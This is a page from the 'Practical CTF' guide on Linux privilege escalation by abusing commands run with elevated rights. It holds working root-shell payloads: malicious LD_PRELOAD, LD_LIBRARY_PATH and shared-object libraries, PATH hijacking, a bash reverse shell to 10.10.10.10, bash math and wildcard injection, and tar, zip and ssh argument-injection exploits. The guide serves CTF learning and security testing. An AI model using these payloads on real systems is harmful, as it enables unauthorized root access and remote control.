🚩
Practical CTF
BlogContact
  • 🚩Home - Practical CTF
  • 🌐Web
    • Enumeration
      • Finding Hosts & Domains
      • Masscan
      • Nmap
      • OSINT
    • Client-Side
      • Cross-Site Scripting (XSS)
        • HTML Injection
        • Content-Security-Policy (CSP)
      • CSS Injection
      • Cross-Site Request Forgery (CSRF)
      • XS-Leaks
      • Window Popup Tricks
      • Header / CRLF Injection
      • WebSockets
      • Caching
    • Server-Side
      • SQL Injection
      • NoSQL Injection
      • GraphQL
      • XML External Entities (XXE)
      • HTTP Request Smuggling
      • Local File Disclosure
      • Arbitrary File Write
      • Reverse Proxies
    • Frameworks
      • Flask
      • Ruby on Rails
      • NodeJS
      • Bun
      • WordPress
      • Angular
    • Chrome Remote DevTools
    • ImageMagick
  • 🔣Cryptography
    • Encodings
    • Ciphers
    • Custom Ciphers
      • Z3 Solver
    • XOR
    • Asymmetric Encryption
      • RSA
      • Diffie-Hellman
      • PGP / GPG
    • AES
    • Hashing
      • Cracking Hashes
      • Cracking Signatures
    • Pseudo-Random Number Generators (PRNG)
    • Timing Attacks
    • Blockchain
      • Smart Contracts
      • Bitcoin addresses
  • 🔎Forensics
    • Wireshark
    • File Formats
    • Archives
    • Memory Dumps (Volatility)
    • VBA Macros
    • Grep
    • Git
    • File Recovery
  • ⚙️Reverse Engineering
    • Ghidra
    • Angr Solver
    • Reversing C# - .NET / Unity
    • PowerShell
  • 📟Binary Exploitation
    • ir0nstone's Binary Exploitation Notes
    • Reverse Engineering for Pwn
    • PwnTools
    • ret2win
    • ret2libc
    • Shellcode
    • Stack Canaries
    • Return-Oriented Programming (ROP)
      • SigReturn-Oriented Programming (SROP)
      • ret2dlresolve
    • Sandboxes (chroot, seccomp & namespaces)
    • Race Conditions
  • 📲Mobile
    • Setup
    • Reversing APKs
    • Patching APKs
    • HTTP(S) Proxy for Android
    • Android Backup
    • Compiling C for Android
    • iOS
  • 🌎Languages
    • PHP
    • Python
    • JavaScript
      • Prototype Pollution
      • postMessage Exploitation
    • Java
    • C#
    • Assembly
    • Markdown
    • LaTeX
    • JSON
    • YAML
    • CodeQL
    • NASL (Nessus Plugins)
    • Regular Expressions (RegEx)
  • 🤖Networking
    • Modbus - TCP/502
    • Redis/Valkey - TCP/6379
  • 🐧Linux
    • Shells
    • Bash
    • Linux Privilege Escalation
      • Enumeration
      • Networking
      • Command Triggers
      • Command Exploitation
      • Outdated Versions
      • Network File Sharing (NFS)
      • Docker
      • Filesystem Permissions
    • Analyzing Processes
  • 🪟Windows
    • The Hacker Recipes - AD
    • Scanning/Spraying
    • Exploitation
    • Local Enumeration
    • Local Privilege Escalation
    • Windows Authentication
      • Kerberos
      • NTLM
    • Lateral Movement
    • Active Directory Privilege Escalation
    • Persistence
    • Antivirus Evasion
    • Metasploit
    • Alternate Data Streams (ADS)
  • ☁️Cloud
    • Kubernetes
    • Microsoft Azure
  • ❔Other
    • Business Logic Errors
    • Password Managers
    • ANSI Escape Codes
    • WSL Tips
Powered by GitBook
On this page
  • Exploitable Functionality
  • Environment Variables
  • $LD_PRELOAD & $LD_LIBRARY_PATH
  • $PATH
  • Attacking Bash Scripts
  • Injecting Commands in Math
  • Wildcards in [[ == expression
  • Argument Injection (Wildcards)
  • Common programs
  • Shared Object Injection
  1. Linux
  2. Linux Privilege Escalation

Command Exploitation

Exploiting commands that are executed with elevated privileges to do more than you are supposed to

PreviousCommand TriggersNextOutdated Versions

Last updated 1 year ago

Exploitable Functionality

Now that we have a list of programs we are allowed to use, we can see if we can get a shell in any way. To do this you look up the program on . If it has the Sudo tag set, it means you can use it to get some form of elevated privileges.

Then just use the command to get a shell. With the /usr/bin/find binary it would be this for example:

sudo find . -exec /bin/sh \; -quit

Far from all binaries that are exploitable are included in this list. If you cannot find it there, because it is less known, look for yourself to see if any features that may be useful. The -h or --help and man pages can be helpful here. Features like exporting data to write files, or loading configs to read content in error messages are common ideas, but you can get very creative here.

Environment Variables

Just like command-line arguments and files on the filesystem, environment variables are just another piece of information a process can use. Some programs them in place of arguments, or to elicit specific behavior, and some of that behavior can be exploited.

Set for shell session
$ export VAR='Hello, world!'  # set permanently
$ env | grep VAR
VAR=Hello, world!
Set temporarely
$ VAR='Hello, world!' env | grep VAR  # env finds $VAR
VAR=Hello, world!
$ env | grep VAR  # env doesn't find it anymore

Which variables are useful depends on the program, and you can use Reverse Engineering or canaries to find out which are used in what places. Here are a few common ones that have a special meaning and can often be exploited:

$LD_PRELOAD & $LD_LIBRARY_PATH

Two especially dangerous ones are LD_PRELOAD and LD_LIBRARY_PATH, because they allow you to overwrite the libc path of the program to another file that you can control. This means you can execute any C library you make before the real sudo program runs.

$ sudo -l
Matching Defaults entries for user on this host:
    env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH

User user may run the following commands on this host:
    (root) NOPASSWD: /usr/sbin/apache2

The first LD_PRELOAD just specifies the direct path to the library. To compile a malicious library yourself just make some C code to execute a privileged shell, and compile it like a library:

preload.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        unsetenv("LD_PRELOAD");
        setresuid(0,0,0);  // Root permissions
        system("/bin/bash -p");  // Start bash shell
}
$ gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c

Now you have the malicious preload.so file that you can include by setting the LD_PRELOAD before running the allowed sudo program (make sure to use the full path):

$ sudo LD_PRELOAD=/tmp/preload.so /usr/sbin/apache2
# id
uid=0(root) gid=0(root) groups=0(root)

Then for the LD_LIBRARY_PATH option there is another similar way. This variable only sets the directory to find the other libraries in, so we first need to know what libraries are loaded to then overwrite them. Do this using ldd:

$ ldd /usr/sbin/apache2
        linux-vdso.so.1 =>  (0x00007fff8f5ff000)
        libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007f52d4527000)
        libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007f52d4303000)
        libapr-1.so.0 => /usr/lib/libapr-1.so.0 (0x00007f52d40c9000)
        libpthread.so.0 => /lib/libpthread.so.0 (0x00007f52d3ead000)
        libc.so.6 => /lib/libc.so.6 (0x00007f52d3b41000)
        libuuid.so.1 => /lib/libuuid.so.1 (0x00007f52d393c000)
        librt.so.1 => /lib/librt.so.1 (0x00007f52d3734000)
        libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007f52d34fd000)
        libdl.so.2 => /lib/libdl.so.2 (0x00007f52d32f8000)
        libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007f52d30d0000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f52d49e4000)

We can choose any of these filenames to overwrite. Let's take libcrypt.so.1 for example. We'll again compile some C code to a valid library with the functions that it will expect:

library_path.c
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));  // Function that is called

void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);  // Root permissions
        system("/bin/bash -p");  // Start bash shell (keeping permissions)
}

Then we compile it again to a library and set the LD_LIBRARY_PATH to a directory containing our malicious library:

$ gcc -o /tmp/libcrypt.so.1 -shared -fPIC library_path.c
$ sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2
# id
uid=0(root) gid=0(root) groups=0(root)

$PATH

Suppose you found the SUID program executes service instead of /usr/sbin/service, then it will search through directories in the PATH variable containing a file named "service". But since we can change the PATH environment variable before executing the program, we could prepend a directory containing our own malicious program also named "service". When the service command is then executed by the SUID binary, it will actually run the malicious binary from our directory, allowing us to run arbitrary code.

When you find a vulnerable command, you can simply create a binary with the same name that does whatever you want:

ln -s /bin/bash /tmp/service

Then set the PATH variable before executing the vulnerable SUID program:

$ PATH=/tmp:$PATH ./vulnerable
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)

Writable $PATH for another user

The above example was focused on SUID binaries, but this idea of overwriting programs in the PATH variable goes further. If due to a misconfiguration you are able to write in one of the earlier $PATH directories for a user, you can create a binary with the same name again to overwrite.

/usr/local/service
#!/bin/bash
bash -i >& /dev/tcp/10.10.10.10/1337 0>&1
$ chmod +x /usr/local/service  # Make executable

Attacking Bash Scripts

Injecting Commands in Math

Bash scripts contain commands that are executed one by one. With logic like if for for this can become more powerful to script complex operations with support for user interaction. With this complexity also comes unexpected situations where an attacker can abuse your script in order to escape an environment or escalate privileges.

You can explicitly tell bash to evaluate a math expression using the $((EXPR)) syntax:

$ echo $((1+1))
2

The vulnerability is the fact that this math syntax allows substituting shell commands with the a[$(COMMAND)] syntax, normally used on array variables:

$ echo $((a[$(id)]))
bash: uid=1001(user) gid=1001(user) groups=1001(user): syntax error in expression (error token is "(user) gid=1001(user) groups=1001(user)")

This can be exploited in many different contexts and is definitely worth a try whenever you have input into a bash script. Take this innocent-looking example:

script.sh (Example)
#!/bin/bash
read -rp "Enter guess: " num
if [[ $num -eq 42 ]]; then
  echo "Correct"
fi

With the a[$(id)] input like above, this is vulnerable because math is evaluated here!

$ ./script.sh
Enter guess: a[$(id)]
./a.sh: line 3: uid=1001(user) gid=1001(user) groups=1001(user): syntax error in expression (error token is "(user) gid=1001(user) groups=1001(user)")

Here are some places where your input will be dangerously evaluated as a math expression:

  • $((here))

  • ((here))

  • ${var:here:here}

  • ${var[here]}

  • var[here]=...

  • [[ here -eq here ]] (and any others like -gt or -le)

Wildcards in [[ == expression

Vulnerable example
#!/bin/bash

password='secret'
read -rp "Enter guess: " guess

if [[ $password == $guess ]]
then
  echo "Correct!"
  cat /flag.txt
else
  echo "Wrong"
  exit 1
fi

This piece of code seems like it only compares the string $password to $guess, and there should be no way to bypass it without knowing the password. However, when a * wildcard character is inputted, check passes as correct!

Enter guess: *
Correct!
import subprocess

def test(password):
    # Set your program and input method here
    process = subprocess.run(['./password.sh'], input=password.encode(),
                             stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    return b"Correct" in process.stdout

def escape(s): return ''.join([f'\\{c}' for c in s])

# Binary Search algorithm
def search_once(test_function, prefix=""):
    min = ord(' ')
    max = ord('~')

    while min <= max:
        mid = (min + max) // 2

        if test_function(f'{escape(prefix)}[{escape(chr(mid))}-~]*'):
            min = mid + 1
        else:
            max = mid - 1

    return chr(max)

# Keep searching until whole string found
def search(test_function):
    found = ""
    while True:
        found += search_once(test_function, prefix=found)
        print(found)

        if test_function(escape(found)):
            return found

print(search(test))  # secret

Argument Injection (Wildcards)

Bash allows you to use * wildcards in commands to insert any files that match the wildcard. This works by inserting all the matched files after each other separated by spaces in the command since most commands allow you to add as many files as you want by just adding more arguments.

Example
$ ls -l
total 276
drwxrwxr-x  2 user   user     4096 Aug 20 16:00 directory/
-rw-rw-r--  1 user   user        0 Aug 20 16:00 first
-rw-rw-r--  1 user   user        0 Aug 20 16:00 second
$ file *  # Wildcard
directory: directory
first:     empty
second:    empty
$ file directory first second  # Equivalent
directory: directory
first:     empty
second:    empty

The problem arises when you can create files starting with -, which are often flags to change the behavior of a command. Bash just pastes the files into the command, not bothering to check if any of them start with the - dash. This means we can add flags to the command and make it do different things.

With the file command, for example, something innocent we can do is use the -F option to change the : separator we saw earlier. Arguments often don't need a space character, so we can just create a file called -Fsomething to add this argument to the file command if the wildcard is used. Another common way to pass arguments is by using the = equals sign for -- arguments, like --separator=something. Here are two examples:

$ touch -- '-Fsomething'  # "Attack"
$ file *
directorysomething directory
firstsomething     empty
secondsomething    empty
$ rm -- '-Fsomething'  # Remove previous attack

$ touch -- --separator=something  # Other format
$ file *
directorysomething directory
firstsomething     empty
secondsomething    empty

Tip: Use the -- characters alone to not interpret the following arguments as flags. This is how you should secure a wildcard vulnerability like this, and also how you can easily place your payload using without touch thinking they're flags too.

One limitation you have is the fact that the * wildcard orders your arguments alphabetically. Luckily the - dash character comes before other alphanumeric characters, meaning our injected arguments will always be first. You just have to find a way to add arguments that allow you to do unintended things. Another bonus is that almost all special characters are allowed in filenames and arguments, many unexpected ones even, if you just escape enough with ' single quotes and/or escape sequences.

Common programs

ZIP

Vulnerable command
zip /tmp/backup.zip *
Exploit
$ nano shell.sh  # Any payload you want to execute
$ touch -- '-T'
$ touch -- '--unzip-command=sh shell.sh'

# # Equivelent result:
$ zip /tmp/backup.zip -T --unzip-command='sh shell.sh'

Tar

Vulnerable command
tar czf /tmp/backup.tar.gz *
Exploit
$ nano shell.sh  # Any payload you want to execute
$ touch -- '--checkpoint=1'
$ touch -- '--checkpoint-action=exec=sh shell.sh'

# # Equivelent result:
$ zip /tmp/backup.zip --checkpoint=1 --checkpoint-action=exec='sh shell.sh'

SSH

Vulnerable command
ssh "$input"@host command

Control over the start of any argument and at least one argument after your input can be exploitable. By injecting a ProxyCommand option with -o, the argument after becomes the host it tries to resolve. Even if this connection fails, the injected command will still execute:

$ export input='-oProxyCommand=;id>/tmp/pwned;'  # Any way your input ends up in ssh
$ ssh "$input"@host command  # Interprets $input as an option and command as the host
/bin/bash: @host: command not found
kex_exchange_identification: Connection closed by remote host
$ cat /tmp/pwned
uid=1001(user) gid=1001(user) groups=1001(user)

For more Argument Injection payloads like this for different tools, see the following two collections:

Shared Object Injection

This technique is a little more advanced. Programs often need libraries to do certain things, but sometimes you can overwrite some of these libraries with your own. Then the SUID program would load your malicious library instead of the normal one, executing your code.

You can find what libraries a program loads at runtime using strace and looking for opened files:

$ strace ./vulnerable 2>&1 | egrep -i "open|access|no such file"
access("/etc/suid-debug", F_OK)         = -1 ENOENT (No such file or directory)
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libdl.so.2", O_RDONLY)       = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/usr/lib/libstdc++.so.6", O_RDONLY) = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libm.so.6", O_RDONLY)        = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libgcc_s.so.1", O_RDONLY)    = 3
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory)

In the example above, you can see a few libraries that it failed to access. The last one (libcalc.so) is in my user's /home directory, so we can write our own library there for it to be executed:

libcalc.c
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
        setuid(0);
        system("/bin/bash -p");
}
Compile to a shared library
$ gcc -shared -fPIC -o /home/user/.config/libcalc.so libcalc.c

Then when the program loads /home/user/.config/libcalc.so, it will actually find our malicious library giving us a shell:

$ ./vulnerable
# id
uid=0(root) gid=1000(user) egid=50(staff) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)

If the binary does not allow you to get a shell instantly, you can try other things like or , which may achieve the same effect with some more effort.

When a program is executed with , the current environment variables are kept. This means you have even more control over the program's behavior by changing environment variables before executing it. One common trick is using the $PATH variable, which has a : colon-separated list of directories saying where to find programs without an absolute path.

To find what commands are executed by an unknown program, you can try to use to find commands executed on the system. Another way would be to use Reverse Engineering to find what the program exactly does. Tools like strace will show execve() calls for all executed processes, and if this command isn't available, it will be if you copy the binary to you locally.

As explains, there is a specific scenario where your user input can become a wildcard match by accident. An example is shown below:

This is because the [[ is a shell built-in that interprets its arguments slightly differently than a regular binary. Otherwise, it would be a glob pattern and replaced with all filenames that match the inputted pattern. In this case the right argument of an == operation in [[ is treated as a instead of a literal string (note: single = is equivalent). If $guess were in quotes like "$guess" it would be taken literally, not as a pattern. Using [ instead of [[ also prevents this but developers like using the built-in more because it handles special characters better. And lastly, this also doesn't work if your malicious input is on the left side of the comparison.

Something even better than bypassing the password check is recovering the password it was checking against, which is also very possible using this wildcard trick. Because we can try a string like s* to see if that matches the password, and get a boolean response. Doing this for every first character we eventually find one that passes and thus find the first character. Continuing this we can find all other characters to recover the full password. This idea can even be improved to performance by requesting ranges of characters instead of individual ones, here is an implementation:

A common pattern is to use wildcards when making a backup of some files in a directory using , so here are some ways to exploit such archiving tools:

🐧
Bash
this answer
pattern
Binary Search
GTFOBins
GTFOBins
GTFOBins, a searchable list of exploitable binaries
Bash’s white collar eval: [[ $var -eq 42 ]] runs arbitrary code tooVidar's Blog
Source: explains the vulnerable cases and why this exists
Logo
GTFOArgs
A list of many different and common tools, and what functionality they can have
Argument Injection Vectors
A few specific tools with system command and file write functionality
#reading-files
#writing-files
Logo
Logo
SetUID
Automated (Cron Jobs)
Logo
Pspy